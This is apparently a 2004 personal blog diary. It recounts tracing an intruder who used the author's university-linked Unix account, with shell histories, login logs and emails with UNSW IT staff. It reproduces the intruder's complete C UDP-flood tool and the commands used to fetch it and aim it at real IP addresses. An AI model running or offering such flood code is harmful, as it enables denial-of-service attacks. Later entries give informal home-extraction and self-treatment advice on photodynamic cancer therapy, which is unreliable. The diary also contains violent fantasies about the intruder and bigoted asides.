-rw------- 1 cam cam 1558 Feb 22 12:09 psybnc.conf.old
-rw-r--r-- 1 cam cam 589768 Feb 22 12:09 psybnc
-rw------- 1 cam cam 113 Feb 22 12:09 USER2.LOG.old
-rw------- 1 cam cam 56 Feb 22 12:09 USER2.LOG
-rw------- 1 cam cam 493 Feb 22 12:09 USER1.LOG
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 tools/
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 src/
drw-r--r-- 3 cam cam 4096 Feb 24 08:54 scripts/
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 motd/
drw-r--r-- 3 cam cam 4096 Feb 24 08:54 menuconf/
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 log/
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 help/
-------------------
See also /home/catskills/.../tare for (not listed here) a load of trawled
IP numbers. Anyway the dude gets the tarball and compiles the contents
178 ls -al
179 make menuconfig
180 make menuconf/
181 make menuconf
182 make menuconfig
183 cd ..
184 cd ..
185 ls
186 ls -al
187 cd " "
188 ls -al
Then removes the directory and the tarball itself
189 rm psybnc
190 rm -rf psybnc
191 rm psyBNC2.3.1.tar.gz
192 wget http://www.geocities.com/cafetaiwan/tembak.c
Interestingly enough this is still there on Geocities. It's a text file,
with C code in it. Here it is. Looking at the variable names whoever wrote
it is linguistically fluent with Indonesian.
------------
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define UKURAN_PELURU 45
int echo_connect(char *, short);
int echo_connect(char *server, short port)
{
struct sockaddr_in sin;
struct hostent *hp;
int thesock;
printf("\n");
printf("Pasukan..!!!! Tembaaaak %s ke port %d\n",
server, port);
hp = gethostbyname(server);
if (hp==NULL) {
printf("Di %s gak ada sasaran, Boss!!\n",server);
printf("\n");
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
thesock = socket(AF_INET, SOCK_DGRAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
return thesock;
}
main(int argc, char **argv)
{
int s;
if(argc != 3)
{
printf("\n");
printf("Kirim Paket ke IP orang\n\n");
printf("Cara Pake : $ tembak hostname.orang port \n\n");
exit(0);
}
s=echo_connect(argv[1], atoi(argv[2]));
for(;;)
{
send(s, JENIS_PELURU, UKURAN_PELURU, 0);
}
}
They wrote it in July of 2002... or downloaded it to their directory in
2002. Lots of other uh... interesting tools there. Anyway, what the dude
does with his/her freshly compiled tool (note: probably doing CS, knows
how to use gcc compiler) is go launch attacks on other machines with
it. And read my mail. It's an exploit.
193 gcc -o hajar tembak.c
194 ls
195 w
196 ./hajar 80.144.184.19 51&
197 w
198 pine
199 pine
200 w
201 pine
202 pine
203 w
204 logout
248 logout
249 w
250 cd " "
251 ps x
252 ls
253 w
254 w
255 ./hajar 202.159.50.17 51&
256 w
257 last
258 last | more
259 pine
260 ssh turing <--- interesting. Checked out OK from .history. May be me!
261 exit
310 ls -ld
311 ls -l
312 ls -la p*
313 | more
314 ls -la p* | more
315 w
316 w
317 cd " "
318 ls
319 ./hajar 202.155.38.120 51&
320 w
321 pine
322 w
323 last | more
324 logout
361 cd " "
362 w
363 ls
364 ./hajar 203.173.147.137 51&
365 w
366 pine
367 w
368 logout
So here's me tonight:
500 logout
501 passwd <-ahem!
502 last | more <-who else has been on here lately?
503 sudo traceroute 129.94.222.175 <-- I know that machine.
504 pine
505 history | more
506 locate hajar
507 cd /hajar <--- ahh, the spaces!
508 cd "/home/predator/ /hajar" <- it's not a directory its a file.
509 ls -la "/home/predator/ /hajar" <-characterise it
510 pine "/home/predator/ /hajar" <--thinko
511 pico "/home/predator/ /hajar" <-- read it. Executable. Yuk!
512 ls -la "/home/predator/ /hajar"
513 chmod -x "/home/predator/ /hajar" <--- stop its execution.
514 ls -la "/home/predator/ /hajar" <-- check
515 chattr +i "/home/predator/ /hajar"<--freeze it
516 lsattr "/home/predator/ /hajar" <--check frozen
517 cd public_html/
518 ls
519 ls -lart GENC5001* > lart.txt <--check these havent been
520 ls -lart GENC5001* <-- messed with
521 history
522 history
523 history | more
524 history > history.txt <---interesting footprints!
---------------
Access dates (time/datestamp on conway is accurate) of interest from this
UNSW terminal are :
predator pts/4 129.94.222.175 Thu Feb 26 00:26 - 00:43 (00:16)
(this morning, I chopped their session off at 00:43)
predator pts/0 129.94.222.175 Sat Feb 21 13:29 - 13:47 (00:18)
predator pts/0 129.94.222.175 Fri Feb 20 16:41 - 16:59 (00:18)
predator pts/0 129.94.222.175 Fri Feb 20 16:10 - 16:10 (00:00)
predator pts/1 129.94.222.175 Thu Feb 19 18:56 - 21:24 (02:27)
and... check out those timestamps! Whoever they are has after-hours and
weekend access... possibly remotely.
I think it's reasonable to assume that whoever is/was doing this will show
up today (thurs, 26 Feb) and sit down at exactly the same machine, and
attempt to log in (which will show in our logs) to figure out why their
remotely installed IRC relay (?) isn't working any more. It's also likely
that whoever they are, they obtained my username/password via, say, a
sniffer which remains installed on the UNSW machine in question (to which
they return many times). Maybe they saw me type it in, which suggests a
student of GENC5001. Maybe, their name is Hajar (not super-likely but
anyway). Additionally it's likely whoever this is, is not only attacking
my system. In any case, all these other places they attack are probably
going to have UNSW IP numbers showing up in their logs as well as our IP
numbers.
Anyway, its 3:30 am and I need sleep now. If other geeks want to poke
around and suss out the system, you have my encouragement.
<predator>
----------------------------------------------------------------------------
----------------------------------------------------------------------------
They've been chasing him for several months, and he's been denying
everything, but it turns out with this evidence in the above posting they
comprehensively nailed him that afternoon, cos he did show up at the
machine in question just like I said he would. The timestamps point to
security camera videos of the labs, so he can be verified sitting in front
of a particular machine and launching attacks from it correlating with the
conway logs and timestamps on the videos. In all likelihood this means
0) academic misconduct is recorded in his files and fails his degree so 1)
he gets expelled from the university and 2) his student visa gets
cancelled and 3) he faces computer fraud charges and/or 3) he gets
deported anyway.
Like, yeah, does the dude think, let's fuck with an account belonging to
someone who calls himself predator and see what happens? Geeeenius. When
ya log into conway.cat.org.au it sez this:
Welcome to Catalyst - do not look into laser with remaining eye.
It's a quote from uh.. Isaac Asimov, or is it Robert Heinlein. It has to
do with learning from mistakes that have serious penalties attached. He
would have seen it five times by now... unless he'd already stared twice
into serious lasers. The laser doesn't care (see also geek humour).
I sorta do give a fuck but usually only one at a time... while I was uh,
non-performing, distracted, in the sack with the cookie manufacturer I was
thinking hard about wether to ride over to Randwick and sit down at the
adjacent terminal to the one he's stuffed full of hidden 'bots and proxies
and um, punch the piss out of him in front of the faculty security cameras
once he arrived and started typing things into a shell into my account.
No, he didn't fuck up any of my files (they're backed up anyway). He
screwed with my account (which is sudo-capable mind you - superuser
powers) and screwed with a machine a lot of people depend on. And he read
my mail. Prick. And wasted a lot of your time reading about it here.
Shayne at the guild at Murdoch says Marc Bell, who eventually nailed this
twit, should go easy on him. What do I think? Well, um, fuck him, whoever
he is. If Cookie Manufacturer hadn't invited me out for a fat-soaked
breakfast in Newtown there'd be a blood-soaked keyboard in Randwick -
amongst the prophylactics, massage oil and wireless networking hardware
there is a handy two foot length of 2x4 firewood in my backpack.
Fortunately for the script-kiddie, buggerall fuel in my 'cycle tank and I
was as hungry as hell.
Arrrh. Why should I give a fuck any more? Oh, I dunno. Other people are
grateful:
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Date: Thu, 26 Feb 2004 19:51:27 +1100
From: Marc Bell <xxxxx@unsw.edu.au>
To: predator@cat.org.au
Subject: Re: (129.94.222.175) --- Machine with suspicious activity
>To: Marc Bell <xxxxx@unsw.edu.au>
>cc: UNSW Network Security Centre <network-abuse@explode.unsw.edu.au>,
> Graham Low 26/02/2004 04:41 <xxxxxx@unsw.edu.au>, Geoff Gordon
> <xxxxxxxxxx@unsw.edu.au>, Cong Tran PM <xxxxxxxxx@unsw.edu.au>, Matthew
> Tolhurst <xxxxxxxxxx@unsw.edu.au>
> Subject: Re: (129.94.222.175) --- Machine with suspicious activity
On Thu, 26 Feb 2004, Marc Bell wrote:
>> We got him.
>>
>> We've actually been tracking this guy for months since we suspected he was
>> the one that hacked our labs and got our admin accounts last year. But we
>> never had enough proof. But thanks to Predator (Mike? I think we know
>> you?), we've nailed it down.
> Congratulations - good on ya guys! Persistence pays off. Need a formal
> written stat dec about this? Just ask.
> Yeah, Mike Carlton's my real name. Don't be fooled by the drive-time AM
> radio shock-jock of the same cognomen. Tall, blond-haired, blue-eyed,
> black boots and no sense of decorum whatsoever? Yep, that's me.
>> We found the lab PC (.175) running IRC and a browser history full of
>> proxies and SSH clients, but no person to be seen. The account had been
>> logged in since about 9:30pm. As we were discussing this with our IT
>> Director (Geoff Gordon), the accused actually came into the lab (we knew
>> what he looked like from previous encounters), saw us standing around the
>> machine, looked a bit worried, and turned to leave. Geoff called him over,
>> and we had some interesting dialogue with the guy. He slipped out that he
>> was running bots and sharing software, but insisted it was all a 'game'.
>> In the end, we informed him that the PC is under investigation for a security
>> breach, and then let him go. It was only after we got back to the office
>> that we found Mike's email that pin pointed the time in which the accused
>> was logged on to .175, and basically proves it all beyond doubt for us. We
> are currently obtaining security camera tapes to hopefully show him sitting
> at the PC at the time of the event.
> Hmmm. I expect he won't be coming back to .175 rapidly. Did you actually
> get a real-world ID on the person in question? Hmmm. May have other
> machines similarly doing his bidding if he's been doing this stuff for as
> long as you say.
>> We've almost had him before, but I think we've got him this time. Thanks go
>> to Mike for an email that's got us all very excited down here in the
>> commerce lab technical support office!
> What?! Isn't my bad Darth Vader voice impersonation good enough?
> "Crash the network, Luke. It is your dessss-tiny!" 8-)
> Seriously tho, yeah, good on you all for keeping your eyes open and
> nabbing the chap... none of you need this hassle. Glad to help you out!
>I'm curious to know how he cracked me - sniffer? Keylogger?
>> Regards,
>> ___________________________________
>> Marc Bell
>Be well!
><predator>
Yep, we thought it was you ;). Anybody trying to hack you is out of their
mind in my opinion, you certainly know your stuff. As it turns out, it was
his undoing in the end.
You provided the missing link. The times in which he was doing the hacking,
and from what IP. Us finding his account logged in at that time, on that
machine with that IP, and him admitting he was logged in at that time, is
all we needed. That's the nail in the coffin. As I mentioned, we've had
evidence on this guy before, but he just denied it, and we were left with
no way to prove otherwise.
He's not the smartest guy around. Initially we tracked him because his
proxies he was running on our machines last year were logging everything he
was doing. He forgot to untick the box 'Log File' in his little
application. From there we worked out where he was, which ultimately led to
us getting his student number and address.
It turned nasty when he went from running proxy servers and system shut
down timers from one other student's account, to cracking other accounts.
Our admin accounts were some of them. This he would have done via somehow
installing services on our machines that logged keys or sniffed packets.
This was all around 6 months ago, and since we couldn't prove anything
concrete, we just had to make our systems more secure (which was the only
good outcome of the whole thing). Since then, he has only been able to run
his applications from his own student account. Once he was logged out, the
app stopped running.
As for how he cracked your passwords, well it's hard to say. I've only
noticed one instance of a machine left logged in running a key logger. Have
you possibly used a PC in the lab that was already logged in without
logging them out? I would imagine he'd target the tutor machines mainly.
Oh by the way, well spotted on the 'indonesian' thing. He is indonesian ;).
Thanks again,
___________________________________
Marc Bell, Computer Systems Officer, Technical Support Group
Faculty of Commerce and Economics, The University of New South Wales
___________________________________
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Well well well.
Terminology note: this dude was a cracker, not a hacker.
Must Sleep now. Sinful evening tomorrow ;-)
------------
Friday. Nothing to talk about really, 'cept a nice evening snogging Zyn
under a fig on the Tarpeian way at Bennelong Point. The possums and fruit
bats in the trees freaked her out tho. When I rubbed her tummy my fingers
told me of a strange, large mass which has no business being in there.
Joss rang up from Scotland and I was out. Mum answered the fone. Say no
more.
Marg Mayhem, the chick who pays me to stand nakked for three hours in
front of a bunch of artistic strangers (and to whom I shall bequeath my
dead-tree format pr0n) sent me a great CD of grainy bitmaps of Fuji's
Jesus Freak party from a week before I went to hospital. Great images,
some of them. I'll slap 'em up on a webpage someplace I think.
It's saturday 28.
Uh, yeah. I was crappin'on a few pages ago about carbonic anhydrase. It's
an enzyme expressed a lot by renal clear tumor cells like mine, for pH
regulation reasons. The thought had to do with vaccinating myself against
it. Would that be a cretinous idea? Where is it normally in the cell? I
was asking myself these questions as I dreamt. I was rudely woken by a
cold dog nose in the eyelid.
I slept in 'cos I got home at 4am after dropping Zyn at her place in ...
South Wentworthville! Holy shit... a long way away.
I woke up and walked the dog with the cold nose. On the way home I met a
local woman (Cathy) who held a mean-looking aussie bulldog on the end of a
lead and a cute looking fluffy poodle thing in her arm. We got chatting on
account of how the dogs interacted, which is the usual way of things, and
eventually I discovered that, for fuck's sake, her hubby has the same
cancer I do and is gettin' the chemo treatment with a free haircut without
clippers. I kept my trap shut about how these things don't give a rat's
about chemo. So we chatted about the usual boring cancer shit (didn't I
mention it takes over your conversation?) while her cute white fluffy
kamikazi attack-poodle thing skitzed out at Chloe (who was, as usual, took
it with calm dignified aplomb), and her *very* muscular bulldog latched
hard onto and started vigourously fucking my right leg. Cathy said he does
this to everyone so I shouldn't feel special. The friendly doggie, very
persistent, and was seriously enjoying it, too, had his pink out and all.
Cath and I kept chatting amidst this melee of bestiality and barking and I
eventually gave up trying to dissuade the dog from rooting my calf, so
people drove past, looked at this scene and smiled broadly, hooted their
horns, etc.
I hosed my rather scratched-up leg off as soon as I got home. I know what
you're gonna ask me. The answer is no.
Dad's bugged me for a few days about going up and checking his server,
which according to an employee of his (who, wouldn't ya know it, has
appendicitis) has apparently `lost a drive' - which is to say the OS
doesn't know where it is any more. I went up today and checked it out, and
the fan in the power supply had seized, the machine was hot to the touch,
and the 40Gb drive to which they back up their important shit (you know,
medical records, accounts, the guts of the business) has been cooked to
death. So we shut it down, took it home and I cracked it open.
Most people just crack open the main case and never crack open the power
supply. I cracked open the power supply too. I reckon if I'd left it
another week it'd have started a fire - when the fan siezed, other stuff
in the PSU started to cook ... there's charred sections of power supply
circuit board, electrolytic capacitors swollen to bursting point, oxides
growing on the feeds to the rectifiers, scaldmarks on the cowl. If this
thing had arced the vapours from the charring PCB would have lit up.
So I swapped it out with the one I fixed in Jan, bolted in a couple of
additional big fans on the back of the chassis (ex the DECserver I from
which I built the case of my machine), brushed all the dust out of the
removable drive bay and CPU heatsink, (I am not sure why but fried dust
smells different to regular dust) and dropped in the 13Gb drive I found
last week so there can be a backup made right away. It goes, and roars the
roar of a box which moves a lot of air. I'm running it overnight for
observation. Dad reckoned I should charge him commercially for this (half
a grand?) but dad gets mates rates for this one, and I'm happy to do it.
Gotta look after each other.
Shame about the dead drive. 40Gb down the toilet. Maybe if they'd mounted
it lower in the case it wouldn't have cooked. I mounted the replacement a
couple of bays down and had the odd thought that this machine's service
life will probably exceed mine.
Sunday:
In memory of trees.
The machine sat at room temperature all night, cool as a cucumber by
morning. When the oldies went around to my sister's place, I strapped into
my harness and got about 14m up the pine tree out the front, which the
neighbours want pruned 'cos it drops pine cones in their pool, the poor
dears. In the interests of good neighbourly relationships, I togged up in
the now frayed and dirty green seatbelt tape Mullet (who died in a 1995
mountaineering accident) cut for me in about 1993, held together by a
steel screwgate krab I got in Nepal in 1994. Pines are easy to climb and
the sap of this one smelt delightful, hot off the blade of the saw as I
cut off the branches. It was a bit of a bugger tho when the gale came. I
should have seen it coming, knowing what the clouds look like when the
southerlies normally arrive but I was busy paying attention to sawing off
the northwestern top branches. I was clipped into both major trunks and
self-belaying, so when it hit I quickly hung another sling a bit higher
up, stowed the blade below me, on the main length of dyno rope I'd
normally used to lower the offcut branches, and just hung on while the
tree and I heaved to and fro for about a quarter of an hour. The wind was
loud and the tree's groaning noises and funny oscillation harmonics were
kind of exhilarating, actually, aside from the odd pine cone in the back
of the'ead. I was glad to be roped on, though. I was only a little bit
scratched after the front passed.
Later on we re-instated dad's server. Walked doggie. Inspected cretinous
Sola UPS from Moz - which needs almost total disassembly before you can
change the damned batteries. Cleaned beer bottles for the next batch o'
home brew then realised I shouldn't drink beer 'cos the carb load feeds
the tumor. Gave a USB keyboard to XML and was subsequently, for reasons
unrelated to the keyboard, shagged by her - she's doing OK despite fucking
up her *other* knee in a motorcycle accident. And on the hunt for a
partner in a foursome. You go, girl!
Monday.
Nosh at Nomes' place - she cooked Jil, Greg and I a delishoyummie chook
dinner and I've snarfed a couple of cds of hers for the purpose of
copying, because they're copy-controlled (ha ha not) and now I know how to
do it. At about 11pm I dropped Joss' books in at Balmain, I let myself in
with the key her mum gave me in December, and was also looking for Jude to
give me back my copy of TIHKAL. I discovered Carole was killing cockies in
the kitchen since to do so at other times of the day brought down the
oppropbium of the buddhists on the premises.
The problem with Carole, if there is a problem with Carole, is that she
refuses to recognise hopeless cases for what they are, and offers me hope
where I really don't want any. I will, though, _have a go_ at this
oncogenic fucker. She thinks I should chop the neck thing out too.
She was gonna send me some phototherapy stuff in the post but I picked it
up locally. She writes it's crap, but this is maybe a false alarm on her
well-abused bullshit detector. Here's the transcripts of the emails we've
sent about it.
Phototherapy
From predator@cat.org.au Thu Mar 4 02:33:30 2004
Date: Wed, 3 Mar 2004 14:46:47 +1100 (EST)
From: predator@cat.org.au
To: carole hungerford <xxxxxxxxxxxxxxxxxxxxxxxxxx>
Subject: phototherapy
Hi dude. No, phototherapy is not in my opinion crap, it relies on the
patient taking a prodrug, usually a chemical which when bashed with
photons of the right wavelength will fall apart into ... guess what ..
free radicals! Stuff enough free radicals into a cell and it'll start
taking lots of molecular-level damage, as you know (I must chat to you
about free-radical polymerisation someday). If this is a tumor cell and
you damage it enough, it'll die (not by apoptosis mind you, but usually by
necrosis - different processes entirely). Pharmo companies are starting to
cash in, if my spy in Sudler.com.au (M.Sc chemist) who does their
advertising is to be believed. I think they're peddling the
(photodegradative) hydrochloride salt of methylaminolevulinic acid for
about $350 a gram at Sigma Aldrich. The light source is some predictably
overpriced chunk o' semiconductor.
The main wrinkles are:
0) knowing where the damned met is so you can shine yer light on it.
1) using frequencies of light which don't damage molecules in other cells.
Red is good for this, since it's e=hv is low since its wavelength is long.
Go shining lots of say, hard UV at cells and the nucleotides dimerise,
ionise, or otherwise fall to bits, the cells will die or become a tumor.
Red is also good since you can generate fairly wavelength-specific red
with various kinds of semiconductor light sources (light emitting diodes -
well developed tech 30 years old) and if you want super-specific aimable
monochromatic phase-locked light, you can use a laser (similar tech as
used in laser pointers).
I think $1500 for the light source is a disgusting, absolutely outrageous
rip off. Trawl the Farnell catalog for such a device as a 2.5 watt red LED
with significant emission at 662nm, I bet it won't set you back more than
a couple of hundred bucks even without any constant-current driver
circuitry - and Farnell are considered expensive by the hobbyist community
(I'll go check this now). There's NO need for thermoelectric (peltier)
cooling, either, at such low dissipations. I'm off for a look. You don't
need laser light to do the photoconversion, just light of the right
frequency. Lasers happen to be better to aim and more profitable to sell
8-)
(Hmmm... One could get a KTP frequency-doubling crystal and feed it with
something of double the wavelength to get the required light too. But
that's probably lossy and expensive too)
Anyway, looking at the A/wavelength curve you could be about 10nm short or
long and still do the work of getting the chlorin to drop a singlet
oxygen.
I've used real, floor-mounted Erbium lasers which can happily dump a few
joules into a 4 x 4 mm area in a fiftieth of a second. Everything dies, to
a depth of several mm. No need for such brute force with the prodrugs.
I could make chlorin myself with my existing glassware and rusty chemist
skills and chems (acetone to extract, HCl to remove Mg, NaOH to saponify)
available at Hardwarehouse, from oh, I dunno, grass clippings! I've done
all of these sorts of simple workups myself many times. Patents for these
reactions are plainly ludicrous and easily circumvented.
2) generating molecules which do in fact get taken up by tumor tissues.
Chlorin is a remnant of the standard kinds of metal-complexing porphyrins
which litter the photon-capturing machinery of the plant kingdom. In the
Russian paper you provided, there's really no need to get the chlorophyll
from spirulina (though its convenient). The acetone would pull across a
lot of other molecules with it tho, when doing the organic/aqueous phase
separation. You can make it from just about any plant with chlorophyll in
it (woody plants and cacti not recommended, the extraction is difficult,
in my experience).
3) using molecules which arent intrinsically toxic anyway. Porphyrins are
normally torn safely to bits by hepatic cytochromes. Don't use this stuff
if you're jaundiced tho.
The conference looks interesting. But wayyy too costly.
Cheeries...
<predator>
--------
From predator@cat.org.au Thu Mar 4 02:33:40 2004
Date: Wed, 3 Mar 2004 23:54:43 +1100 (EST)
From: predator@cat.org.au
To: carole hungerford <xxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
Subject: RE: phototherapy
On Wed, 3 Mar 2004, carole hungerford wrote:
> Well there you go. My bullshit detctor is way too sensitive.
Don't knock it - a sensitive bullshit detector is well worth having since
there's soooo much concentrated, and sometimes subtle, bullshit out there.
Light's just another kind of radiation, in a part of the spectrum for
which the tech is well-developed, because it's immediately visible to the
naked eye. Since we chem dweebs know how to fabricate bespoke molecules by
required bond length, and the semiconductor dweebs know how to dope
silicon with atoms which get excited and, in order to relax emit photons
at certain frequencies, we can make and destroy molecules photonically
pretty much as we please provided we can get 'em where we need 'em.
> Maybe I was put off by the marketing technique, and the bad grammar.
...and the rather criminally obscene, marketing-oriented price tags. I
just found some good 660nm red diodes in the Farnell catalog
optoelectronics section. Peak wavelength 660 (which is 2nm out from what
the paper uses, no big deal) 500mCd intensity, 12v feed with internal
resistor - these are a budget-smashing $1.15 each. Less in bulk! Farnell
PtyLtd operates in Chester Hill, Sydney.
Class IIIa 670nm 3mW Lasers are around $500, if a fistful of diodes at
similar frequency don't take your fancy.
Check out http://www.rcdc.nd.edu/compilations/Qy/QY2.htm for lists of
porphyrins which give good yields of singlet oxygen, if that sort of thing
interests you 8-)
> Eisinger is the urologist interested in cancer and nutrition. I can give
> you a referral if you like. I'm interested in all your theories as to
> how to manage your cancer, but worry that you are spending a lot of time
> theorising, and not acshully doing anything.
Mmm. Correct. I am - yes, *defaulting* is the word, I'm sort of resigned
to carking it, actually, which permits me to be stably elsewhere,
unworried, out having a life 8-)
PET ... hmmm... suppose it could see down to 3 cells, that's several
million images to process - somehow I think not. If it could see down to
3mm, that's more plausible. The neck's already been CT'd (encapsulated
lymph node, no spread), the lump is smaller now than it was then, but
larger now than it was when FNAB'd on Jan 16th.
> Apparently Keith is trying to call me, talk later.
No worries. Catch ya later.
> Carole
;)
<predator>
--------
It must be a bugger to be a doctor when a patient is uninterested in
trying very hard to get well cos they've gone and got what appears to be a
reasonable clue about what's killing 'em.
I keep getting details-free emails about a mysterious expedition
people want me to go on but which nobody'll tell me about.
Tues. I went out to Randwick. I saw Mary who is bright as a button today
though she sez she's not well. Amazingly an old squatmate of mine, Elias,
was riding his bicycle up through Bronte and spotted me, with my helmet
and everything on... hes pretty well. We stopped on the roadside briefly
for a chat. I was wearing the leather jacket he gave me in oh, 2001. He's
riding a very nice bicycle now, and I think working as a cook, and scoring
surplus Macintrash obtainium from an abandoned hospital somewhere in the
city.
I dropped in at UNSW on the way back. The IT director Geoff Gordon wants
to hang the .. ahem ... The Cracker... out to dry, and I'm happy to help
him. I checked out the auth.logs, /var/log/messages, the syslogs, and did
a bit of benchtesting of the code which, impersonating me, he ran. But
he'd better hurry up. I'd be his star witness if the head of school and
associate Dean decide to prosecute the wanker, and I'm no good to them
dead.
The cracker was launching attacks from my machine, against port 51 on a
few machines - one in Sydney, a couple of sites in Indonesia (indo.net,
and indosat.net) and also somewhere in Germany. While the program was
running it maxed-out the hub and ate up 94% of conway's CPU. Prick. I'm
not dead sure he ever managed to get his mIRC proxy running - too hard to
configure from the command line.
While I was in the general vicinity of Randwick I picked up a photocopy of
the document I sort of, more or less, consider to be my death sentence,
the original of which came from Douglas Hanley Moir pathology. I'd left it
in the care of Dave Goldstein, who I saw six weeks ago. He also said that
in my neck was nothing but the usual kinds of cells you'd expect from a
garden variety metastatic kidney cancer. Makes me want to take up
slasn-n-burn agriculture 8-). I'm gonna wave this under the noses of the
gits at APRA. Dr Goldstein's upcoming trial starts at the end of March. I
don't know what it is yet and there's no proposal written yet. For all I
know I might be dead by the end of it.
I got home early Wednesday morning and had sharp lower left lung pains
which increased when I breathed in. I'd just finished reading Iain Banks
"The Player Of Games" (and what a twist at the end!), and this jabbing
pain happens. Probably mets invading my lungs, fuckers. When I woke up
they were gone. Cancer fucks with your head... in the sense that every
time something randomly hurts without provocation, you think, oh, it's
*there* now. Prick.
----------
Electronic iatrogenesis.
Last time I was at Turella Soz (to whom I will loan my motorcycle for the
Dykes on Bikes parade during the Mardi Gras on saturday night) gave me a
10/100mbit hub, which she felt was flaky. It was too, after running for a
long time - which is to say, it was overheated. I took it home, tested it
and yeah, it did indeed get hot and flaky. This is cos the main CPU,
something which came from the LEVEL ONE VLSI chip foundry, is heatsunk -
but inside a metal small box with no fan. I tried to pry off the heatsink
in order to replace it with some solid Al blocks to thermally couple the
chip to the case, but the damn thing peeled right off the PCB in one hit.
I am incapable of accurately soldering down 204 bent pins (a machine
soldered it all on in the first place) so I admitted defeat and tossed it.
Maybe I shouldda just drilled lotsa holes in the case. Oh well. Some, I do
lose. At least it wasn't a switch.
Passion of christ.
I went and saw this with the parents. I was gonna wear my Children Born of
Satan shirt but it dissolved last time I washed it. Yawn. I shed no tears.
And, as I remember from what I learned in Rome in 1981 as a youngster the
Romans were better anatomists than to have their soldiers go nailing
people through the hands, they'da gone through something load-supporting,
like between the radius and ulna. Mel Gibson is to be congratulated on
producing a movie which is going to damage people's brains for the
remaining period of time in which this civilisation has a functional
electricity grid. Oh, it was so realistic, it must have happened, right?
Yep. But so what? Hundreds of thousands of cambodians and vietnamese,
maimed by napalm, bomb fragments or chemically impaired by synthetic
side-product in the defoliants dropped by the Yanks on those countries in
the late 1960s, took *years* to die, painfully, of their injuries.
A Jewish mate of dad's reckons the movie is anti-semitic. Oh, for shit's
sake I'm bored of the semites complaining that their perception of
everyone who doesn't depict semites as lovable, error-free, uh...
ubermenschen is somehow anti-semitic. If anything the flick it's
anti-human-species-in-general - the romans were brutal, the semites were
shrewd, and these two things pretty much sum up the curse which is the
human condition everywhere generally to various extents. Anyway... any
bunch of people who go around saying "you're anti-us" is gonna find that
by the mere virtue of saying this the saying will become true. People get
annoyed by the accusation.
Any culture that kills people's gonna make itself unpopular eventually by
nailing some loon who claims to be a god and will make 'em more popular by
doing it. And think about it, reader. The next person you meet on the road
who claims to be Jesus Christ is, playing the odds and mis-quoting Python,
probably not even a messiah, let alone a particular messiah. Try, prime
candidate for the loony bin. You'd decide to waste the dude even more
straightforwardly as the Jews or the Romans did, who played the same
administrative buck-passing games as we do with condemned prisoners now.
Come to think of it, if you or the Romans or the Jews met the Buddha on
the road, you'd kill him too. S/he talks in riddles, is of indeterminate
gender and looks like he eats way too much.
Thurs. Mar4
This is a looonger file than the last one, mainly 'cos of the transcripts
of conversations I'm having with various people - the evidence of my
electronic life. I'm gonna trunc it and start on another one.
If you don't get the following file it's not on the server yet. Be patient
8-)
http://conway.cat.org.au/~predator/march.txt